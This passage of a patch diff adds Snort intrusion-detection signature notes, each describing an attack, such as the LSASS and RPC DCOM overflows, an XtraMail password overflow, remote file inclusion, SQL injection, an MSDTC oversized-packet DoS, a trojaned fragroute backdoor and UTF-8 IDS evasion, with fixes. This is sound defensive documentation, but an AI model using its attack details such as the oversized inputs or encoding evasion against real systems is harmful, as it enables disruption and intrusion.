+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2512.txt
+++ snort-2.8.5.2/doc/signatures/2512.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2512
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer
+overrun condition in Microsoft products via the Local Security Authority
+Subsystem Service (LSASS).
+
+--
+Impact:
+Remote execution of arbitrary code.
+
+--
+Detailed Information:
+A vulnerability exists in LSASS that may present an attacker with the
+opportunity to execute code of their choosing on an affected host.
+
+The problem lies in an unchecked buffer in the LSASS service, suscessful
+exploitation may present the attacker with the opportunity to gain
+control of the affected system.
+
+--
+Affected Systems:
+	Microsoft Windows 2000, 2003 and XP systems.
+
+--
+Attack Scenarios:
+An attcker needs to make a specially crafted request to the LSASS
+service that could contain harmful code to gain further access to the
+system.
+
+--
+Ease of Attack:
+Moderate.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Use a packet filtering firewall to deny access to TCP and UDP ports 135
+and 445, UDP ports 137 and 138 and TCP ports 139 and 593 from resources
+outside the protected network.
+
+Access should also be denied to ephemeral ports and any other ports used
+by RPC services from sources external to the protected network.
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/852.txt
+++ snort-2.8.5.2/doc/signatures/852.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+852
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1634.txt
+++ snort-2.8.5.2/doc/signatures/1634.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+1634
+
+--
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Artisoft XtraMail v1.11 mailserver.
+
+--
+Impact:
+When succesfully exploited, the remote attacker can crash the POP3
+service and possibly execute arbitrary code on the mailserver.
+
+--
+Detailed Information:
+The PASS argument, used to submit authentication credentials to the 
+POP3 server XtraMail 1.11, has an exploitable buffer overflow condition 
+If a password of more than 1500 characters is submitted, the
+service will crash.  This error may be exploitable further, and could 
+then allow the attacker to execute arbitrary code on the remote system, 
+under the LocalSystem account.
+
+--
+Affected Systems:
+	All POP3 servers running Artisoft Xtramail 1.11 on Windows.
+
+--
+Attack Scenarios:
+An attacker could crash the POP server, thereby denying
+legitimate users access to their e-mail.  Skilled attackers could
+compromise the mailserver and obtain all incoming e-mail data.
+
+--
+Ease of Attack:
+The DoS attack is trivial to execute, as only a password
+longer than 1500 characters needs to be submitted.  Compromise of the
+mailserver requires more skill, but exploits are available.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Upgrade XtraMail to the latest non-affected version of the software
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Maarten Van Horenbeeck (maarten@daemon.be)
+--
+Additional References:
+
+Nessus
+http://cgi.nessus.org/plugins/dump.php3?id=10325
+
+CVE
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-1511
+
+Bugtraq
+http://www.securityfocus.com/bid/791
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000618.txt
+++ snort-2.8.5.2/doc/signatures/100000618.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+100000618
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "link_validate.php" using a remote file being passed as the 
+"admin_template_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the 
+"link_validate.php" script used by the "Indexu" application running on a 
+webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1583.txt
+++ snort-2.8.5.2/doc/signatures/1583.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1583
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/885.txt
+++ snort-2.8.5.2/doc/signatures/885.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+885
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/119-6.txt
+++ snort-2.8.5.2/doc/signatures/119-6.txt
@@ -0,0 +1,61 @@
+Rule: 
+
+--
+Sid: 
+119-6
+
+-- 
+Summary: 
+This event is generated when the pre-processor http_inspect
+detects network traffic that may constitute an attack.
+
+-- 
+Impact: 
+Unknown. This may be an attempt to evade an IDS.
+
+--
+Detailed Information:
+This event is generated when the pre-processor http_inspect detects a
+web request that is using UTF-8 encoding. This may indicate an attempt
+to evade an IDS by obfuscating the request using UTF-8.
+
+--
+Affected Systems:
+	All web servers.
+
+--
+Attack Scenarios: 
+An attacker merely needs to encode the request using UTF-8 encoding.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives:
+This may be legitimate behavior. Web clients may use this encoding.
+
+--
+False Negatives:
+None Known.
+
+-- 
+Corrective Action:
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches.
+
+--
+Contributors:
+Daniel Roelker <droelker@sourcefire.com> 
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+HTTP IDS Evasions Revisited - Daniel Roelker
+http://docs.idsresearch.org/http_ids_evasions.pdf
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1791.txt
+++ snort-2.8.5.2/doc/signatures/1791.txt
@@ -0,0 +1,70 @@
+Rule:  
+
+--
+Sid:
+1791
+
+--
+Summary:
+This event indicates that a backdoor may be installed on a machine.
+
+--
+Impact:
+One of the systems may have been compromised.
+
+--
+Detailed Information:
+www.monkey.org, the system that hosts fragroute was compromised and the fragroute
+source code was modified to contain a back door.  The code was corrupted on 
+May 17, 2002.  Versions after May 31, 2002  and before May 17, 2002 do not contain the backdoor.
+
+--
+Affected Systems:
+
+Systems running
+	dsniff 2.3
+	fragroute 1.2
+	fragrouter 1.6
+
+--
+Attack Scenarios:
+The backdoor contacts the IP address 216.80.99.202.  A person connecting from that
+address can use the backdoor to acquire full control over the compromised machine.  
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+While the IP address flagged in this rule was associated with the backdoor at the time
+fragroute was trojaned, it may now or in the future be used by unrelated parties.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to a new version of fragroute and sanitize the trojaned machine.   
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Steven Alexander<alexander.s@mccd.edu>
+
+-- 
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/4898
+http://www.securityfocus.com/archive/1/274927
+
+
+
+
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3177.txt
+++ snort-2.8.5.2/doc/signatures/3177.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3177
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000857.txt
+++ snort-2.8.5.2/doc/signatures/100000857.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000857
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection vulnerability in the "Professional Home Page Tools" application running on a webserver. Access to the file "class.php" with SQL commands being passed as the "ip" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a remote machine via the "ip" parameter in the "class.php" script used by the "Professional Home Page Tools" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to compromise the database backend for the application, the attacker may also be able to execute system binaries or malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Professional Home Page Tools
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application if user input is not correctly sanitized or checked before passing that input to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/987.txt
+++ snort-2.8.5.2/doc/signatures/987.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+987
+
+--
+Summary:
+This event is generated when an attempt is made to disclose the contents of an Active Server Page (ASP) using a malformed HTR request. 
+
+--
+Impact:
+Information gathering.  Fragments of the source code of an ASP may be returned possibly disclosing sensitive information.
+
+--
+Detailed Information:
+HTR is an older scripting language still supported by Internet Information Service (IIS).  HTR requests are preocessed by ISM.DLL that improperly evaluates malformed HTR requests.  This may disclose parts of the source code associated with a .asp file referenced in the request. 
+
+--
+Affected Systems:
+
+Microsoft IIS 4.0, 5.0 
+
+--
+Attack Scenarios:
+An attacker can craft a malformed request to disclose source code possibly revealing sensitive information. 
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Apply the patch referenced in the Microsoft link.
+
+Consider running the IIS Lockdown Tool to disable HTR functionality.
+
+--
+Contributors:
+Original rule writer unknown
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0063
+
+Bugtraq
+http://www.securityfocus.com/bid/1488
+
+Microsoft
+http://www.microsoft.com/technet/security/bulletin/ms00-031.asp
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1706.txt
+++ snort-2.8.5.2/doc/signatures/1706.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1706
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1408.txt
+++ snort-2.8.5.2/doc/signatures/1408.txt
@@ -0,0 +1,81 @@
+Rule:
+
+--
+Sid:
+1408
+
+--
+Summary:
+This event is generated when a TCP packet having a large payload was
+detected. This is a possible indication of an actual or impending denial
+of service attack against a host running the Microsoft Distributed
+Transaction Service Coordinator (MSDTC).
+
+--
+Impact:
+Denial of Service (DoS)
+
+--
+Detailed Information:
+MSDTC is used in a distributed or clustered environment for distributed
+transaction processing on Microsoft operating systems,
+
+A vulnerability exists in the handling of large amounts of data sent to
+the MSDTC process listening on port 3372. A packet in excess of 1023
+bytes will cause the service to become unresponsive, a packet in excess
+of 2000 bytes may cause the entire system to become unresponsive.
+
+--
+Affected Systems:
+	Microsoft IIS 5.0
+	Microsoft SQL Server 6.5 throught 2000
+	Microsoft Windows 2000 Advanced Server
+	Microsoft Windows 2000 Datacenter Server
+	Microsoft Windows 2000 Server
+	Microsoft Windows 2000 Professional
+ 
+--
+Attack Scenarios:
+An attacker needs to generate a packet with a payload in excess of 1023
+bytes and send it to port 3372 of an affected system.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+Linux FTP servers and clients frequently transfer TCP packets having a 
+payload size larger than 1023 bytes. To distinguish a false positive, 
+determine whether MSDTC is running on the indicated destination source and 
+port.
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+To manage the vulnerability, configure the system not to autmatically start 
+the MSDTC (Source: Security Operations Guide for Windows 2000 Server). 
+Alternatively, configure firewall rules to limit access to the service. To 
+eliminate false positives, revise the Snort rule to specify IP addresses of 
+only those hosts actually running the service.
+
+--
+Contributors:
+Snort documentation contributed by bmccarty@apu.edu
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Security Tracker:
+http://www.securitytracker.com/alerts/2002/Feb/1003415.html
+
+Microsoft:
+http://www.microsoft.com/TechNet/security/tools/iis4cl.asp
+http://www.microsoft.com/TechNet/archive/transsrv/mtxpg03.asp
+http://www.microsoft.com/TechNet/prodtechnol/sql/maintain/featusability/c08ppcsq.asp
--- snort-2.8.5.2.orig/doc/signatures/1578.txt
+++ snort-2.8.5.2/doc/signatures/1578.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1578
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1108.txt
+++ snort-2.8.5.2/doc/signatures/1108.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1108
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1522.txt
+++ snort-2.8.5.2/doc/signatures/1522.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1522
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3203.txt
+++ snort-2.8.5.2/doc/signatures/3203.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3203
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3084.txt
+++ snort-2.8.5.2/doc/signatures/3084.txt
@@ -0,0 +1,59 @@
+Rule:
+
+--
+Sid:
+3084
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a vulnerability
+associated with the Veritas Back Exec Agent Browser.
+
+--
+Impact:
+Serious. Execution of arbitrary commands may be possible.
+
+--
+Detailed Information:
+
+The Veritas Backup Agent Browser is the server component of the Backup
+Exec software employed to provide a backup solution.  Client agents
+communicate with the Backup Agent Browser.  A registration request from
+a client that contains an overly long hostname value can cause a buffer
+overflow and the subsequent execution of arbitrary code on a vulnerable
+server.
+
+--
+Affected Systems:
+Veritas Software Backup Exec 8.0, 8.5, 8.6, 9.0, 9.1
+
+--
+Attack Scenarios:
+An attacker can craft a registration request that contains an overly
+long hostname, causing a buffer overflow.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the most current nonaffected version of the software.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3003.txt
+++ snort-2.8.5.2/doc/signatures/3003.txt
@@ -0,0 +1,67 @@
+Rule:  
+
+--
+Sid:
+3003
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the Microsoft implementation of the ASN.1 Library.
+
+--
+Impact:
+Serious. Execution of arbitrary code, DoS.
+
+--
+Detailed Information:
+A buffer overflow condition exists in the Microsoft implementation of
+the ASN.1 Library. It may be possible for an attacker to exploit this
+condition by sending specially crafted authentication packets to a host
+running a vulnerable operating system.
+
+When the taget system decodes the ASN.1 data, exploit code may be included 
+in the data that may be excuted on the host with system level privileges. 
+Alternatively, the malformed data may cause the service to become 
+unresponsive thus causing the DoS condition to occur.
+
+--
+Affected Systems:
+	Microsoft Windows NT
+	Microsoft Windows NT Terminal Server Edition
+	Microsoft Windows 2000
+	Microsoft Windows XP
+	Microsoft Windows 2003
+
+--
+Ease of Attack:
+Simple. Exploit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+References:
+
+US-CERT
+http://www.us-cert.gov/cas/techalerts/TA04-041A.html
+
+Microsoft
+http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/ms04-007.asp
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2341.txt
+++ snort-2.8.5.2/doc/signatures/2341.txt
@@ -0,0 +1,63 @@
+Rule:  
+
+--
+Sid:
+2341
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the PHP web application DCP-Portal.
+
+--
+Impact:
+Execution of arbitrary code on the affected system
+
+--
+Detailed Information:
+DCP-Portal contains a flaw such that it may be possible for an attacker
+to include code of their choosing by manipulating the variable root when 
+making a GET or POST  request  to a vulnerable system.
+
